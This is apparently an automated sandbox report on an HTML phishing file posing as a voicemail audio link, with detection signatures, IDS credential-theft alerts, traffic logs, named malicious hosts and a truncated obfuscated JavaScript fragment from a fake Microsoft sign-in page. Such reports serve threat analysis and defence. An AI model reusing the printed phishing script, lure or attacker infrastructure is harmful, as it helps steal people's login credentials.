Edit tour

Windows Analysis Report
Play_VM.Now.matt.sibilo_Audio.wav...v.html

Overview

General Information

Sample name:	Play_VM.Now.matt.sibilo_Audio.wav...v.html
Analysis ID:	1540509
MD5:	d622f91ae3e63a950e04f3d95eb6f0bd
SHA1:	c636a71cf396d3530c0efdf9ba00962f313e22a9
SHA256:	0ba81f18e76139272fa0dc298e5794dfb19ded0e6b4123434b89265688168b43
Infos:

Detection

HtmlDropper

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected Html Dropper

Detected javascript redirector / loader

HTML Script injector detected

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

Phishing site detected (based on favicon image match)

Phishing site detected (based on logo match)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Invalid 'forgot password' link found

JA3 SSL client fingerprint seen in connection with other malware

Javascript checks online IP of machine

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6936 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Play_VM.Now.matt.sibilo_Audio.wav...v.html" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=1980,i,11981216364011319537,7936369433392745602,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_89	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security
dropped/chromecache_86	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security

HTML

Source	Rule	Description	Author	Strings
1.4..script.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security

Suricata Signatures

ETPRO PHISHING Successful Generic Phish 2021-03-25

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-23T21:04:22.780021+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	49846	63.250.38.7	443	TCP
2024-10-23T21:04:35.774934+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	49914	63.250.38.7	443	TCP
2024-10-23T21:04:49.055762+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	49987	63.250.38.7	443	TCP
2024-10-23T21:05:09.563473+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	50028	63.250.38.7	443	TCP
2024-10-23T21:05:29.749450+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	50031	63.250.38.7	443	TCP
2024-10-23T21:06:11.058944+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	50035	63.250.38.7	443	TCP
2024-10-23T21:06:30.748701+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	50038	63.250.38.7	443	TCP
2024-10-23T21:07:12.858782+0200	2847819	1	Successful Credential Theft Detected	192.168.2.6	60642	63.250.38.7	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.1.pages.csv
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 1.2.pages.csv

Detected javascript redirector / loader

Source: Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: Low number of body elements: 0

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: New script, src: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: New script, src: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: New script, src: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

Tab title: Signing In

Phishing site detected (based on favicon image match)

Source: file://

Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

Matcher: Template: microsoft matched

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: Title: Signing In does not match URL

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: Invalid link: Forgot Password?

Source: https://dezbelz.store/gesp/xls/C1e2l3l4a5r.js

HTTP Parser: var _0x771cfb=_0x5c33;function _0x5c33(_0xa5814f,_0x52fd90){var _0x316920=_0x3169();return _0x5c33=function(_0x5c3355,_0x1a14a5){_0x5c3355=_0x5c3355-0x193;var _0x56f19f=_0x316920[_0x5c3355];return _0x56f19f;},_0x5c33(_0xa5814f,_0x52fd90);}(function(_0x260937,_0x4dc92e){var _0x216673=_0x5c33,_0x3f9a0d=_0x260937();while(!![]){try{var _0x5eb724=parseint(_0x216673(0x21d))/0x1*(-parseint(_0x216673(0x227))/0x2)+-parseint(_0x216673(0x1e7))/0x3*(-parseint(_0x216673(0x20e))/0x4)+parseint(_0x216673(0x219))/0x5+-parseint(_0x216673(0x228))/0x6*(parseint(_0x216673(0x193))/0x7)+parseint(_0x216673(0x1f9))/0x8*(-parseint(_0x216673(0x205))/0x9)+-parseint(_0x216673(0x1ef))/0xa+parseint(_0x216673(0x1ca))/0xb*(parseint(_0x216673(0x209))/0xc);if(_0x5eb724===_0x4dc92e)break;else _0x3f9a0d['push'](_0x3f9a0d['shift']());}catch(_0x340d0b){_0x3f9a0d['push'](_0x3f9a0d['shift']());}}}(_0x3169,0xd0945));function _0x3169(){var _0x35ba16=['3116680ckkyea','prop','close','#back-voice','#submit-btn','box','incorrect\x202fa\x20code.\x20try\x20...

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html

HTTP Parser: <input type="password" .../> found

Source: Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No <meta name="author".. found
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Desktop/Play_VM.Now.matt.sibilo_Audio.wav...v.html	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.6:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:60640 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:49846 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:49914 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:49987 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:60642 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:50035 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:50031 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:50028 -> 63.250.38.7:443
Source: Network traffic	Suricata IDS: 2847819 - Severity 1 - ETPRO PHISHING Successful Generic Phish 2021-03-25 : 192.168.2.6:50038 -> 63.250.38.7:443

Source: global traffic

TCP traffic: 192.168.2.6:49757 -> 185.174.100.20:8020

Source: global traffic

TCP traffic: 192.168.2.6:60638 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 13.107.253.45 13.107.253.45

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /gesp/xls/C1e2l3l4a5r.js HTTP/1.1Host: dezbelz.storeConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /gesp/xls/C1e2l3l4a5r.js HTTP/1.1Host: dezbelz.storeConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /start/xls/includes/css6.css HTTP/1.1Host: sopbtech.storeConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api.ipify.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/json, text/javascript, /; q=0.01sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
